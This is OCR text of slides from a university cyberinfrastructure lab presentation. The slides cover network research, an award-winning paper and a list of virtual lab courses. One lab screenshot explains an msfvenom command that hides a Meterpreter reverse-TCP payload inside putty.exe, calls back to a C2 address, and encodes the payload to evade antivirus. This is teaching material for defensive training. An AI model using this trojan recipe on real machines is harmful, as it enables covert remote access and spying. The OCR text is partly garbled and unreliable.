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Cyberinfrastructure Lab

® Research on network performance and security, domain-
specific accelerators (speed up detection, visibility)

® Multi-level workforce development activities, e.g.,
workshops, virtual lab libraries

https://research.cec.sc.edu/cyberinfra/

Packet Processing Speed

% 10
-8 CPU 51.2 Tbps
Switch chip Switch chip becomes
e : : : v : 104 programmable
(T | e g | |y |y e g (2018) -
> X
_10%4
Programmable switch 3
g 102
s a
BARI B S
. 10! 4
V
A
e —y 10° 4 %§
o3l
Switch Chlp 107! UNIVERSITY OF

1990 19‘95 20‘00 20’05 20‘10 20’15 20r20 2025
SOUTH CAROLINA


https://research.cec.sc.edu/cyberinfra/

CDF

Cyberinfrastructure Lab
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® Domain-specific Accelerators
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Cyberinfrastructure Lab

® Domain-specific Accelerators

BEST PAPER AWARD

3rd IEEE/IFIP International Workshop on Intelligence Provisioning for
Network and Service Management in Softwarized Networks (IPSN)

perfSONAR: Enhancing Data Collection through Adaptive Sampling

Ali Mazloum (University of South Carolina, USA), Ali AlSabeh (University
of South Carolina, USA), Elie Kfoury (University of South Carolina, USA),
Jorge Crichigno (University of South Carolina, USA)
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1355 - NETLAB- - Google Chrome

btps://10.173.78.50/lab-content.cgi?res_id=31355&ex_id=JGOMEZ_0050_56AE_2F47_6305_5037_0004

Lab_4_Collecting_Information_with_Sp... 10 /33 - 125% +

[Ea"x8¢}: specifies the architecture of the target victim, which is in this case.
F-platform windows]: specifies the platform of the target victim (e.g., Linux,
Android, Apple iOS, etc.). Since the victim is using a Windows 10 machine, the
specified platform is fsindows].

[Ex putty.exel: specifies an executable file to attach the malicious payload to.
We will use a popular program that allows the user to configure machines
via SSH and Telnet. Note that this program could be of any type (e.g., Notepad++,
Word application).

[ExX: preserves the template behavior (putty.exe) and injects the payload
(reverse_tcp) as a new thread.

[Fp windows/meterpreter/reverse tcp: specifies the payload to use, which is
in this case a reverse_tcp session.

[CHOST=216.0.0.10} specifies the IP address through which the attacker will
listen for reverse_tcp session connections. This is the IP address of the C2 server.
[CPorT=2444] specifies the port number through which the attacker will listen for
a reverse_tcp session connections. This is the port number of the C2 server.

[Fe x86/shikata ga nail specifies the shellcode encoder to use (e.g., x64/xor,
cmd/perl, etc.). We are using the encoder which uses a
polymorphic XOR additive feedback to ensure that the output is different every
time. This helps evading some weak Antivirus and Antimalware products.

3 specify the number of times to encode the payload.

e _™\x007: specify the characters to avoid (i.e., bad characters). These are
characters known to make the shell or application crash.

[E£ exel: specify the output format (windows executable).

[Ec puttyX.exe|: save the payload to a file named puttyX.exe.

msfvenom -a x86 --platform windows -x putty.exe -k -p
windows/meterpreter/reverse tcp LHOST=216.0.0.10 LPORT=4444 -e
x86/shikata ga nai -i 3 -b “\x00” -f exe -o puttyX.exe

v [ netLas- X  + - [m] X
<« c © Notsecure  https://10.173.78.50/lab.cgi g e O O @ NewChomeavaiable }

M Gmail €8 YouTube @ Maps [l Special TopicsinInt.. B Transiate [ rout et Build a Fast Networ. » [ All Bookmarks

UNIVERSITY O1

SOUTH CAROLINA

MyNETLAB > CyberSec_H1_12004 > Reservation 31355 > Lab 4: Collecting Information with Spyware: Screen Captures and

# Home Reservation v & ekfoury v

Keyloggers
[FROOEI & content ~ o Status O Victim ~ L BR/FW ~ | O Attacker ~ 3 Web server ~ Time Remaining
LD DNSserver ~ 0 Mail server ~ hrs.  min,

Internal network

Victim Attacker

192.168.0.0/24 216.0.0.0/16

Web DNS Mail
server server server

172.16.0.0/16

]l

UNIVERSITY OF

Demo Cybersecurity Fundamentals, Lab 4: Collecting Information with Spyware ~SOUTH CAROLINA



Cyberinfrastructure Lab

Information about lab libraries is available at https://research.cec.sc.edu/cyberinfra/cybertraining

Programmable data plane devices
1. P4-DPDK Security
2. Introduction to P4-DPDK

3. Cybersecurity Applications with P4 Programmable Data
Planes

4. P4 Programmable Data Planes: Applications, Stateful
Elements, Custom Packet Processing

5. Introduction to P4 Programmable Data Plane Switches

6. Introduction to P4 Programmable Data Plane Switches with
Intel’s Tofino

7. P4 Monitoring Applications

Networks

ATutorial
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https://hiqhspeednetwors.et/

Traditional Protocols

8. Software-defined Networking (SDN)
9. Open vSwitch

10. Network Tools and Protocols

11. Introduction to IPv6

12. Open Shortest Path First (OSPF)
13. Introduction to BGP

14. MPLS and Advanced BGP

Cybersecurity, Management, and Science DMZs

15. Zeek IDS/IPS

16. Cybersecurity Fundamentals

17. perfSONAR 5

18. P4-perfSONAR

19. Network Management Tools V
20. High-speed Networks: A Tutorial gl,\_%"
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https://highspeednetworks.net/
https://research.cec.sc.edu/cyberinfra/cybertraining
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